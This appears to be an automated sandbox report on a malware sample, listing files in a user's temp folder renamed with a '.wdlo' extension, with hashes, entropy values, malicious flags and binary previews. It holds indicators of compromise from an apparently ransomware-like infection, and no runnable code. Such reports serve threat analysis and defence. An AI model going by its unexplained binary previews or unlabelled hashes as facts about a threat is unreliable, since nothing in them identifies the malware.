....j.\|.)?@..u.?...#...y.\.,~.z........[.fGzJ....2..e-N...~.....4..(.......<_&...z..&.sxu)9...,m.D%....\.K......K......:A.....cy........H$7Wa.3.r..n..6r..9..3...#&o.3hj.g.7.6......?A<.O...h.G.\|.......(.....M\|'.Et,K3c....I...,..C...j...N$,.....[.w..FR...{.H..15.xF.X....9.qC..+..s...}+...i<6B"..,...W0.E..........s..X\..{...zR..T.;^.....8\|2.}..q.V.!....k\|.1....mc:............&>.U. J.6:_...-..Y.w..,;.NR....._...j..!p. ..g.fG`.`W..~h.bW3....`E)e.X.n.d.k.X..X..wJ$....3.\|s...s......$....B....x'E.x.aA..U.W}.PH...]...l.&.p.....Mt.-3E2....../.l..}................:.^18.*&...5s.'...'5@.K..O.!.jz.....+..fC.G.S.8....)..

C:\Users\user\Local Settings\Temp\AdobeARM.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	7.959272548474728
Encrypted:	false
SSDEEP:	96:oNW34No6D589yYWw5r8PHhlpxOSmGZJ+GCTEw4w2Tds4UbRwN0w:+Sio458wYBr8phHRP+GoGTS4UbPw
MD5:	DC9A783C55C9AE002F64942EA6DF9450
SHA1:	2307A3E88EBCF630CAC0608CD73E41B0306BC2E1
SHA-256:	7975D5CCC4D49E27331AC54ABDE9ACACFA2CAE47C57B17920C7F7D3B0B6C5715
SHA-512:	B9153F956192A6CA86FC57115B61E6253660B2AE02AD9B596C60E22D7D9A33607BB9B1CF0834903E2D07815FC9335AE3F2884C7DA15424020C0C862D0B2FB9DF
Malicious:	false
Preview:	[2023.7RR....[b.0h...@_.,....0.X..f.w...7.3.`./a..3Y.r..........2gh/.x,.........L.w.Xw...N.....N..Z.....e.....Ev.....D..b..FT...u U.#..:O.y5V.n..9..b1d...W.......ez..r.1..e...8....v.o....I8.Z.W.R..j-'.\|....tx..... v.!aJ../.y/s%.(..O.2...X.+w@....V5.\.....!...$..Wq...=..I..U7$...].8..&+.`..I.z.0.%...'..l..cT.....I/...JC.)z.a.)....Yl;Z..!u......e....L...K..,l.x..+>0..0....Ut..5.m....6=q..1$0.....k....;.Ho..ww..D...u$..H..g/...g..M.p.....D."..........V.b.e..ED.x..D1..i/.........f....q......a.......=.0...h...s.A..+Go.1.6.......$..P...J...$..XhE...7C.]........[M.... .....'k......r.Dv.....T..=A...K.@......y.>.b!x......p...i...s'.\|1.IR....+o.O(..7U..v..>.....>5.=.l..X...~d....;. ....?LX"ni.9.u....#.Z(.....+....9.k.S7%0..&...Smp...N......}....NL.....;hd.V..Ws..."t%O.......i..q....4.^'..'x...u.p.Fj....j._-].Q..&.....'e.,.....&.=.....%......3....;e..&..;.m.......?.:o.b.9....0.`....B..\|.A.R..c.....@.....B......n.(.+?.a.nO.c.u.L\|J4..

C:\Users\user\Local Settings\Temp\Diagnostics\EXCEL\App1696428505298658900_7B05BF2A-C74F-44F8-B674-AA3F9719008B.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	19495
Entropy (8bit):	7.989386256752465
Encrypted:	false
SSDEEP:	384:gJ8y8CC2w5Yj/OCAbaujKoJPFHq/5JywF0Vb4aYtk0zCDEX:g63C4Yj/OCsaatJPt4aYW0zZ
MD5:	52C9984736945FA65397C7C8A2727E1E
SHA1:	AFE4C66C47BF950715C9A4EC289E13281D0E5B24
SHA-256:	6A3BD94FA28D0299C53663BE94D578FA6F4ADFD7B1833293899FEF38FA8EF88F
SHA-512:	199C3515755BF0E752BF88ECD3D2DCD5AA7BD803C3980104B024AD18C822F1A00C4EA73CAD51ACBF90FEC250913223211D42CF68EA85D0FBA23E7D67AE3AEB77
Malicious:	false
Preview:	Times...U.....j.........._.c.V.'e.R..$..(H.n.......k...s.....i0.#.F.....F..1.k.....r.K;RXW.R1....zZ...x..l./..>r..P@....M.5.,i.9.Y{.......A`.....d....".....u......s8.7.^..\$.T.o.......;.).+.Y.....Aw..hy.t..?I.../.1.Ja...1.bz.X.t(`!..."}.j....[W..]...V..+@C...`.x...;........\.F7.qT...]......gv7.'..w..1..k.t7..o..FF........K..gY..g[+.@...A....:.O.(Y.)...>.J.u...Cw.cV6...vk......<w.?.....M...0.I......x.3...._..S....:...H.ig&...+.U.<..I..T....^.Y.N.....q1:...c...H.Gr..2..../.............<s._.'(E.]....(....,.n.L.........n.!. ...L.p..`e.........BJ+.?...............ze .gv.w..Rs=..hT,2Y..B.CB...x.j.,...;.......C.5TU..;u.M.9 F5..R.2........iy.._\p...-.@.q......p.._.E..*..P"uE.......=.%....i%..U.Ere^;q.j...=........D#0..F%....y^s.....i>.)2..Y.2..2.].(c2.....~<.w8.R.!X(...U.1.f#A...[...._.kk..{...5..yQX....d.A ..Q:2+....@+.Sj...4.4..A!.LW/..k6-....=@.... .FJ..{.W.n..xY....a...H9.b....!>@.{pR......._....QQ%O..J.Z?..jk\|`...$...m8...c<...K./...`.H.Z.....Ur../W.

C:\Users\user\Local Settings\Temp\Diagnostics\EXCEL\App1696428527628431800_6CD9E3BB-4D03-46BD-8615-75A902267162.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	171235
Entropy (8bit):	7.926495829885306
Encrypted:	false
SSDEEP:	3072:mm7htBUETEJohebtJGjfmljrc4phsLyfx/3pVS+y9V2DIx6aP0T1N3qkL++fOW:X7htBUsEVbt4jEjFsLi93Ufzs8U1NHfL
MD5:	A63A7D807962EB501520C1C64107232C
SHA1:	BC1E01BAC399F479FCBB30F590DA96D59FEE9698
SHA-256:	EA1297952BBF3F359A15834384FEA3EF4DA22BE27D5A048F806A922A69B9B12E
SHA-512:	D784C394173638946EB6DF1BDA051DB28A5B0509E95C784762A842CA5EB3D6A091642B0B257362822648812D276F8DC2C06C3AB1D22781B905442AA92CE454EB
Malicious:	false
Preview:	Times.!..k...=...C.4......<.2..q..W.&.'.wn.q.I\|.T3..u.h.{......>r.<.....P#.s+.....kf...1^Y9.......z.u..4>..H.E.._m....5.\S,.....u.x.......6.B...A..................>....P...y.N......."P.V.."...p..>o>..102.V......8.I...[-Cg^.(6...>"efzX.K.../....'......Ko7.,..K.5../.zu........0G....h[....uS+..CI...z..E..>U+x.....H......A.T..Cq...=..$.t...\|F$...1.[..i.6............\|_..~..B....8.t...y.t...pe.>Sq.._...5z..q./,.:\.F..W.i...;.s...`.....~.. .....{.~MA"z.#....=...y.......O.K.lYx.....B..s..[t.p..\|..?...e.'85.0..T.%...h..wm.)..r.%0.4.O...-.B.H.^.[.R^n..$....\.2......_.zt.z...."....z.P...V.I..N..nj;......x&../.[9...@...#.._.]Wy......8...7..2........Kq.!........$7.(X.<.$.......C..b........z}.z.......z)t[.+..\|A...F....s.I..(.....{.....}2a...........;3 ].%....6...M.].......xUF...\|..x.G..NS'L.."...8.L..3.m....".x....m..F..n.....C..Jwy>...w.....u..^...a.....XN.Wm...%OB....[[...Q2._.. T........\.....".P...4...9.o}.v\|p>A./.....GA<..8..u?'..U...C,....8.%....`

C:\Users\user\Local Settings\Temp\Diagnostics\EXCEL\App1696428537364279100_A2018481-B961-46B4-9328-34939DEAF293.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	174465
Entropy (8bit):	7.926599605917926
Encrypted:	false
SSDEEP:	3072:FIaIZafSNHWhgNpvcMUHhFQnlZfDNNIDdU28HfypUc+tHrImDb32YbG:tfSMCdUMnlZfhN0dd8/yCc+tkmfXG
MD5:	3D41C1FA08C7A6412918ED34808AE3E3
SHA1:	68383AE50CA3039ABC083A3AD56375412EB9CBF5
SHA-256:	121238FD81B4969141DA517F11412332A2E258A3D09A93BCB4F781884369F5B5
SHA-512:	BFFF5D18BA585DA1F2EBD7F71FAC8A032EB25D70D3D814DFBB7C0333C6702B6C75DAC9BF04DD223975625ADBD128D9A5060543CDB2A313FBBE4F355FC79637F2
Malicious:	false
Preview:	Times......6.[3.....y.....m...{........B..?..~..'.c8...Y>.......j..(:,Tsk....)...C.6..U.+....]..D.Rp....j.%.+..N....H....EOu.....D.?5..%T.".c.........R...\e.0j)qfl.f..&...,o..[z...R........z....?B3GS..k..@...O...J.X.`h..k.@.l....mL.U.np..}.Avj...sl..n..cE=~.......~p.\|..1..:D..b. J.L..X..d.<...<..jZ....].p..n.M...F.Gk.....^.}T._.+WM..e'.........E.n..........3c...H......#;.)xnL.VVZ...#...A...K'.`.y.3.,..&Ft).;S'I.n..8....f.3..It_(\...g.1...+J...m..6).#l.r..Ef.-~..>.+.....f?...i1.;.l}.M..l/.HW..c.64.{...........t......nV\g.c]./'..`R.s.g.?.....yB.n..g...d2`...T..i...>.G.K.$.#.\..q.jf.&....\E-...p8..,.......T...9.<..nC;.K.H5.B.n.b..G.d.Q.,.}JH.....lp.hp.......bl.p?.4..G4.Y.U.....S.z`guL..BU..2Io....#8.J..Z]`...B.j{yR.j.T.`......}...+.......^7[...;;....}...9.......5....ARX.6.0...,...%....U/_.B:.....8.d....}.._...z.G.....^_%..8.?.s.. .........l{.(~......:...8q.....l8e.........S.h..G9.l.>..'.Y-.#..._..&7...BQ....m..f..W..L.g....vZX.)e.c.(G

C:\Users\user\Local Settings\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-42-624.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	16859
Entropy (8bit):	7.98854145981751
Encrypted:	false
SSDEEP:	384:MgIfHUSVYmbD1yJNAJEzqiK3P2GZmvE97fiT:MFHrP1tEzzKOGEiqT
MD5:	5E101B7D41BBDD158213587E0C579EAE
SHA1:	6D6D9162245AE6B49556CB57F82FDDC511AD9577
SHA-256:	41E0358451120358231B3F03813E048AD451D205D7F1E8E38D424562A4E607B8
SHA-512:	AA4B3BB2785E02253BF13BD5F6888947B22E9DCA04CF7CD74F8E35FB3EBFF09E5EF0FA84431DF60CF22EAA37950BBF4BA13D20ACC96622FD1194FEF7B1B262D4
Malicious:	false
Preview:	Sessii.....EvX9.^..=.,./....8.gF.+A.Jd..fJ/..T^+..%....9..B..q...\Z.........br.%\..M.1.................d..l..n.n...!W...x..`.....`..fnC<....@."...8....L...=.](....Y+.....VU.I..i.....{\w..Z.C\|.~..3..2..........9lptp-..u..?...{<?.\|."..\|....m^V.Q.7O....!F_..#..'Z.A..$$'.......Mv......+...E.....J~.>].(...B..3..P.(..n.0D.....8W.n&+.n.X.$.n........u..4fw.~...:.....;.i....uH.......[......,.....k..=c..u..t.L..3..@../....Q.vV...#.r.Z...#.._....OQ9........Kb.}?..G.M=,....A..Fz(..Q!N...M...z+o.jz....+.~.EB.......Z....2v.....C.../$Y[.P.O.!F!.sXk..c./.0.r..&.....cM.b...D....MX61...B.P...^f..j0E..ii.....2h..(.T5.3,Q...{........".-....o..ow%.T...<?...Vs.O..q........&0.e..?......u..J(..y....We_..\|(..0.R.W..g]L2.../.R.8.A.K(....ik.x9I..#Fod._T..y..\. ;........\.}.^....8.._'.Z.x....z.9B..Q2....;4..da..E..jI+%h.....*d......6..Y.TF../...p..I.Y.7......w...........K......g....kq.^..1..AU....%......I.i..j.>."8.6...Rl..Y.r(...)N......L....N~.xeY6`..WTD....Z.....<

C:\Users\user\Local Settings\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-55-956.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	16859
Entropy (8bit):	7.98906302577187
Encrypted:	false
SSDEEP:	384:Gm3uz+wDUMKLP5IqewxZ+las+wVsjOkYR9akl:Gm30ZDUyQZ+/+wTkYRcI
MD5:	62384E7BE9B79C15270825936D137FD4
SHA1:	C39A8F9388AC4BD9925414CCA40B3D5DD9CC74E1
SHA-256:	E4BDB8946E5D02DAB1FEC9B1497D71AEEDB60D52296F4EC2296DB9900A80A184
SHA-512:	C6A3F01BB80E1509588954A4EFC6483B38664C45E5FED3340CDE8A668A5C689B93682B3EA9DDB7AAFE2D94149B7C22081124EABECE55A3EDAEC90E5C36D3E4BC
Malicious:	false
Preview:	Sessi..V..vk..s.....]".J..].....<=..dl...Z..F.Zn#[..v...>...Z...+C)4p $n.8V..\|.\!~!.8'l.....$.~..k......h..M.......T.gW..\x.j..<...$%..E...B...M0t..U.MJ2..j.l\.Q....)..d..lWOI.G5l]s`.......R..{4.....0...=.Xc..].:.K.....^.aFl.~!.........Q..>.[r..\.]Eib..]M..(.#..O#?....l.P..w3.......~..n.?..V..%R.Y...J...g.....P..s.."^;..x>.z.t...,7......0......'._g2...i.(@.=;..Qi.............F..g........D..$.Xj.0...-.A4..s#N\|....f.2.Hw_....Z.....,.....L+...H.Q>..w..V.#..G....]$.$..+.NL}..A.].qQ....`...F.,.I...u.3`.(Q.QL...4.BP..1Z`...]9.q....efu...<^3......".w...O1a...K{>.\.{.L...jm+...... ..L%[I..n.B.e...I.F.P...^.2..B..w ...,.6+D.o.'%........v.n...........B.....\FM...F.d.R...!a...i.{$r.....!Y.l..]`..4......._.4.BE......2........,U.\|.acq..~....J)].i........x.3.U2.......0#...r..(....]@m.H...18..j[;..J.O.2s.v.n../.!m..<Q.f.o....0..O..t..!j.`T.-&...!...,X.dN.h[U..Y.....W.....@.9...3_.l.rS.X...h./I.D.L....2..0..(.....,y..P.Nc.>..N..CS.6.G.>AI...w\.X$..G.F.....

C:\Users\user\Local Settings\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	16933
Entropy (8bit):	7.988089538734057
Encrypted:	false
SSDEEP:	384:BEPE2Tm86DHbIbezYRNRCOfqJGkWJ70zaRmKcvSRgBpWur4OTuNW:BTym5YW2+OfqlY70z2cvSYWur4GuNW
MD5:	B57BF2D0C3BF1B05DF9F58484CB93F8D
SHA1:	C843DA8415DF7D579B6B2FF90ECC0DE53E5EA836
SHA-256:	A87D323187554A0A13469FEF398BE55A1FF77630E96B9E476971C91B4DC84915
SHA-512:	CF35B3CFE9EFCD02BF5A46C18E98A7C5F08B97221D40BDB1897A498D3C61346B91046173DB461484A887B11CCED1202E1A1135E69F3E34B796FA747B811A94A1
Malicious:	false
Preview:	Sessi^//..J.O?..3..U.g_.Z.\...tM.,j.V.Qz..oO..pV ...e.J...(.....5....=..C.L.?.8_+..=.?..d.P.D.....M..`.R.p.......3s+%...Q.....%v.VVF..3..A..7uE...F\A?...+4\A-....5....#a.....}.....E..........ig......)j.H.,V....$T.C....~QY... _...</...S........f.+x..4...b.~;n7......0.8.5...3.......>b1.EP..0r.;.:.qWC]?R.N.g...HwT......CCs...Z.D.k-7.^..$H....9.=.J..yrC........&..r.+...I..2..s>..@..~.[..vD..B<..a...w:i.Fj"...:f..O........U..._..B....u.....%P.ic..7aP...#..yID.0(.l8.(..9.N.....DR.s.F.6...7.<.X=...........e...P..oK....X......"..m.......A...h.#a.9;.S..B ....(.^..8................vz...c.......M.]..x....!...9......'.,..J...<~ZA......../=...aW%.....m3U+.h.#..ol....].v..i..<..A..zX..HSQU.e[H9;[..G?lM...GC.P. ..4_..._&<9..R.w~n....l..e..ZE...>.I.S.Jx..).h...M....cW...'B.'..l?.E.......v.*.3.w.P...sI<..."....ChRr......$.4..$O.......c.9.e.B.G.,.r;./o.FC..v../0WzK.K.......@..b._..L\|.....e..Y0S..I..%...Y.@.2P..1...y.u....^.-T{F.V..G....zt

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.991447715592312
Encrypted:	true
SSDEEP:	384:rNMKNoNgV+sa2SoXhiJlWeulYikXukaLGsphmkdekSxwmOnWxfkmKKP8S4M5T5KB:rN5NohsRPMulYikXILTphmkdRSa/nQiN
MD5:	A89D9548AF8F4EAC4A745F4F8D468580
SHA1:	19A9EBE9850A1F39F0FF367EA5BF31A3BE6B1C7B
SHA-256:	A8A5B4B9559EC5A38E3618957F1E332B28741B266AE9EEABB39DD13366B04731
SHA-512:	8B64EDA2F34CC17CF5F11B3FF038F0E78B27A4C2EF022B08DB6623A394B0E615CB04375A231A31906A7DEFF1AA6CD32343D0B2CCC286BB0481BBBD82F552FBE9
Malicious:	true
Preview:	04-10~:..2z......".$:......%...?)m\vX...0.u'h..(8...\K....'..U>%/.C...@a.."....].6I..sR(.}R.........)...o.V.d).KK5.i.,.......@o.?...;x.Xq...AV~.C..A..@R.....h..;ha7.jq,pdk)e._ A;.>\|T......B.q.0.?..;..I.+g...p.......yW..8..........i.........k.l..o..)X@.i..J.....r.{.v.....}u./V.....8...rz..C5w..B......l.J.b...!}q._Hf\|E...O../..f.#]...$G..%..T.;....r.Bg.......7\|._5....Nac..z].n...=G.'.Ta...\|D..H......}..v.%.:N....6O.......[V..vJ.....+e..4..m..h..o.'2.ht.XD.s....%..).p8.xTI.U...M^.G...T.3......2A%y5...`f.[].m.l.ZI.).m...9$..C.AX>}..x....Q.AcU.....!V....&2u......}.dxW.,.;`c. .................A./.sB.h.........IK$...,[.'.@.8z.......^.x~...a..v$.......gsT....c...}.....}....3.rd~.Om.&..)..?.X...\|]f..7qv.H...>B..+...e..t.~j.O........D^Q.j......z.7_0.bTD...H+C.O?@SV.9. .....jr...4lo..........T.....D.uJ...4..QIB....u.s.j..#.T?....bV.1[...zqw..qBD......\.E...Z.>.'.K(..g...."E....Q.\|P..x.O..;.E.....F..q.{t.=D..C.0...s..o..i^ .}]-.l5...X..S

C:\Users\user\Local Settings\Temp\user.bmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.175585671566396
Encrypted:	false
SSDEEP:	3072:2O7WOYQs11h/NoBEItLWUZ2z8o+Qd3pLfKZE34anjHcy7qrG:D7WOYQsfBCbaz8HMZKm34anjHcyWrG
MD5:	2FC996286998AA9C5AE1A4810FCD1711
SHA1:	826DB1E86B334829FDEF95AC560374750E901506
SHA-256:	6728549EFF8460CFE661387F28659DF7A7AE78A49B4E87BEA15B7D3E087AB23A
SHA-512:	F42E30A86649CEDD4B4F76840601299B183CB5203E0D17C13F9E6323369F14E8561D40D3553336ECF083FB7D18EEDD327C9D90260EC4C2D59628421BAC02998E
Malicious:	false
Preview:	BM80...N.`.I.:.M.M\|....k...u;.......P.?I......z..F5..Vb.m....DA>KyLS..p q=0............^e!..F$..u..6w.U<.k,.?...z..9..;dj.c....2...I.j ..?u=.;.......O../..Xh}......f..}.r....~.S.9......?e.......$...8..hF...6.$6.;.4.\|.:.x.jL..q?...$.Ai.j#.Gj/...A..#..,..4o.UY.a..8I..x...j....aD...^.L.&j..uW..9.d4.3......q. .u.Y..Vv{.(b.#5....81_...f..b.8.r;..,..=.BG....x....`.(..n.@..Fx...u.}...'&...L.{.$..d.-....$..2K......<.+.:++..4...t.XzC.9Sn.W.....K.x.c....fn..As.-...I....S.X.A3,E.....E....SU`..2..Z.PM"$.L.&]...k........!@..m.\|..S~T.. ."~..>....\".v.s.03.......~B...u..`.e.a.T..C.FTF..I.,.w..L.<..........u....1.........:.......U...VT..=3...6b.......l.e...8...ai3.^Q4.._.....0.#b=..s8.9........s....8..j#.. .S~....y.jiYfW.Z.6{'#@...6.....O.I...4.#.,..~.../. .B.E..x....*mN.V\7[{).Z...._w.........5M.Z..y..A..;%fK.C....r.:........W.R.7..-2.Jt...I.!...qW(rs.....j...Es.L.IO..s...m.../.R.........u>a..i.T"ev)....z.`...W...9...=..T.<.T....%.

C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	141134
Entropy (8bit):	7.998674357695798
Encrypted:	true
SSDEEP:	3072:UsETLasPrvyB039uHKpqL4OcQP+cvuZDoLQWOnbe8pm:WTlPntu5LlP7vuZo8bG
MD5:	53BC15455D3CFD1DD17E531D485BDE98
SHA1:	565A08D7169B9014411A18FE51338D01FFC12026
SHA-256:	6EBEA46C2CC6E6322A86F21A472203A74066007434FF3B2791EB2034CF3F23C7
SHA-512:	56EB0896C1F83FCF2C3D7ABFB577F875A9176886A3D89C3FA6B4AF59ABBF0ABF27EE52F122809D8B378F75F6078BB5DE1FA4F7D7E10CC5CCE3D4F670D21EEB1C
Malicious:	true
Preview:	MZ..... ....[}:..,....&0.q...-'~+/.7......Jm9..[..ox.S..s.:#K}v......#..."X.L#>9.g3..I...5-<..&.....N....G...(<9..Z.....O..A.I$....B....W.4.f.S..b.c$.1H.Us....;$Q....f..W...b.K1>MC..~Sq@.3F.z.rU..9A..{.`...gK.o7........F.]`.i.:..U.J.u...h......s~.D..)......G.....n......G..n..\.Y..zS.T_A...1u.Rx.P^.LX.J ..z.v.W..i....'U..!...hb......m.o}....G...)j.9..........g.F.C=&!...=5i.).....f..jc.)!....{5...+.%.....]...=hd../p..h@dJN.....-..J.k..J...C\|.Mf.'6..Bz....Q... .&M7..j....:.P..=1.7....nV......x.;t....\.s...74.~.J~$E...>s^n.M...`.,.. .L.8.O.G..2f.z..Z.-......`@...);n.Zn...J<5.@p\|...z.............j....?n/..3^..g!........)L...V.v-..P6SkW.l.$h.QN.....&._....).2..P..%O..3.>j...W.D-.?.c-4..m.T.....U.q.O.........W.E...].C.h#..D...c...p...a..'.hP..$.....9.+...n..5.L..9.c.I............I.8....n..:.....a~.K.x.dB....O4K0.8......A.]_+....=......v.%H......."$...../.O9.jy'.fz.c..=....m.{....uQ...f8.m...l..<2..x.].y`6.)t1....`..?.ni........Q.A..U

C:\Users\user\Local Settings\Temp\chrome_installer.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	6256
Entropy (8bit):	7.971259046729692
Encrypted:	false
SSDEEP:	192:ytY2D4OfPEsNVhLaRhfYDMGJ5kGfJQJO7236U:aFTQH+MGJ9ayi6U
MD5:	F9B65C7073CD9F7FA3CB0FF395D9BE90
SHA1:	AD7BEAC6C2F01F0890F3B34326BB4045041EBC89
SHA-256:	265ACD6D7C9B87AA40BF9308CA12F1815A6FC1D92C80A7C038626A19FBF338A4
SHA-512:	A05E7B835FAABB4873AD41348454E86D6EC8A7953B704EE37AD47F606A33F94203F38D5E62C8E5BF21BAD4E28B148DBBB00EEF77B350C5D5DC25B28BFB573145
Malicious:	false
Preview:	[1004...C..n.....u('z{X./.YF......$#..~.Ve.-..=.k.8.....es.v]\l.}.T>%c....yu.ta.22..Q....(.@N.U.....U'<.......ma.wo.>...........:....O....({.........d..\|........y.Ik\|..g.0"<..;U8T..K-Ji&o..}...0.ca{'S6.$O\.L.6.Y....v-OD...(.\|.......(.zm2Kz83.S.xL.6.5.B....f.],..J....?......r...<gR.5.P......./.#{7.+..V..-..'.v.F..}68\..<...M.[2..i.T.........Y.r.....iQ..%T...Z...n..{>..(V..5......).h.d`CV3...."`..C....&`.]...P.......7.l.a..3.C..f....@y.{W.^....Z..X.o..x(!t.yI..gq<%hB-3u.......l.F~......rW.......h#...4I.JM.............@i.r.........9#)."..}..l.gz/6w...U...2.....WV.h.U..3,.I.#.r.a..9DY.3!.;..h..'.W..2.]M.k..r.I&1...T..el.?..-.+..(....{NH......(...V.....li..c...)XL.B....h....2.p.L.....E8G.Y]A.R8.....y.].0...6..:...d.....5.7.j...@.a.f$.q...........h..$..,.h......_AT..U<..@L1..N&9.V,.&D2...,.'.f.H.....Y......Cg.......8..U..q.S%W.'.>..)s_.W.i..;....K.z`.........C.\|@x..7N..5..m'..m...:w........\|..._.2...esM2n....^8..E.N.....o.1..e..rS....z@'?.G.9q.N.]..

C:\Users\user\Local Settings\Temp\cv_debug.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	7.914730241045319
Encrypted:	false
SSDEEP:	48:Y4WUjMSZCCKxISrsY02hAiWFa39z8s/pxJi/TtNJH/n3FMpasOd3nD:nWKZCCGsYHhlka39z8YxJi7fJWpasOR
MD5:	0B7DE9AF168AE88ED7DC5DCE3CBD268A
SHA1:	C2066DD45CB3270D59CA28D253381EDC66C3BE24
SHA-256:	393BDB7FA21EEE9BCCB73DD238AAD572CBD4CABC1AF1C7FC6B4C13065BE30517
SHA-512:	D7E8D1724F1D7904BAAED4528F6E6641E13631539E8A9FE5DE8E3512D1E4070A64E0C28EDE04DCAE451F61180C1EF0F814D231E2E562F14AFA25344886CBE01A
Malicious:	false
Preview:	{"logl..H.qp.E-.....S:..>_.lB....}F.&!Z.#YZ....q......b.#4x..4..4.......%..(Dyo.nW\|FNA.S..7C..).Z.C..~...8A-{k...J.....j.,...y-..Q.2.......6.(.Z....V..]...3.....].9.0....j3.ny.NY.c5>.@.yb.@/....MhbV..HW.W....%....uz..X..&.5..s.,3_L..iJ..yq.....C...@....zV.@.=...{Z.8.f\..0.C%...f.\|\|rlv...?S.>..WF.f.rA..G..q..z.K@.....3..Y.p.Y..KmW...F...Q...I.>G.Q". .{.}.IXor....z.)6.1.dI~^..DR.F...y.r...v.M....MQH^........ x.U.y........C..{^..%!?.1m^.J...Cjb.S.%\|........c0...p..d.{.1.W.....#.d.j.Y).....].Q.#.c-..1..2!..<.....nu.$.[.>.k..[.........-......Z5.. `Ns....L.......7;zy.....~eyH..X..(.Zgb.p./O8.{.8:..0.....3=....V..A].N.k3.\a....XP..a....cO.=e..<.I.f$...P.....t1.&.a..P_....b...?...W.8\|.....e.#K.....E-1f.;........'..H.0)..6.b..I!j......y0...B.(....?.....~....>.1...wPW5.1...{E.\|.^.............z...P..c.....Li..2;...7.Y..u...s.;V..<p...z.J.]b......iR....+.8....d.......r..O....`.d.E..........p.,...T..N.....YHg.N.... .7i...+.Q...B....SA..P..y

C:\Users\user\Local Settings\Temp\jones.bmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.175159036742545
Encrypted:	false
SSDEEP:	3072:wfSDM2BFPkyFAvcrNyY5b8dJQIzMiSqkeuukSddoEhDR24cO+IcGGkkRMiH:wfStDMyFRByjzMiS4VkS7zh928vBA
MD5:	C15BC263123039E0EB203F31B59FA2F5
SHA1:	1EC110DE7B125C6B9591B6C15DE763EDB4654FF8
SHA-256:	0F3BBD8D81139D1C4D9E9C1CF1B622F739CDF64407893C5C56339902EFA6F7DC
SHA-512:	279E21313EFBD9FC812A8457520112137607E6D86FBE43B2649B5A729E86C1C96FE733F7DD06AA85F8CA0F2F1ABCF68B0233A6E0B6397948A2FD99873FCE6D00
Malicious:	false
Preview:	BM80.... .K..P....y...V7q.W?.M...+R.> ..Y.../....`.(y....V`.........J.X.U...h9.u.......t.....B.M...lX...u>..M[..n0......H..0.h...v...S.w..%.7..c3aJ.o+.L......7R...:..&..w......6...a.:o.f.&A.F.pm....)).E.-.9}.D.k.{.&.1U....`{..Zz.......mwy.......`.../...0..2...J..\|..Wf...@>..<..Wgb.cp.{z...,/...`...............`.&....0.<..f2B}.+Q...Lg:.XcL..8...{R.!qy=8kF..F.@8.d...&Ha.Y ./4B.~...uj.F...(..%.!.E.Xd{....+')........<...U..G..$.r.+..+...,.\...85..A.bUA.<..p..."6......p....V..hX.K...P.)t......R'..h...6...3o.C/...@s.Fe,K,..4Ri.._.....7..Q...S..<.gw..{0.Ar.&.ZW.B;R\....=.>.H.....+..Tj.i.S/.s...D/{.'ia......j..@_#.6.G.......~X...]..c..#{....loW.r...h".cR..M.#.6.(...}...;%RW.H$.6....W.Z.}T.<._...".j.q..v...v....[v..s.[.......P...;n.%/.Js.....#w..S).aK...".r'.9.>mG?W.(....o..L;h!&5M.b.b... ..FZO.}.R...oR..i.>...8.`.o.Y"K..z.......`.....L....~.7=.l...r.^._7.k.A......1v.E.....\|.^..N..A.\|\.G...;..6h.b8vk.b:.v..4.ue........W....I.@>a.6.V...c....K..

C:\Users\user\Local Settings\Temp\jusched.log.wdlo (copy)

Download File

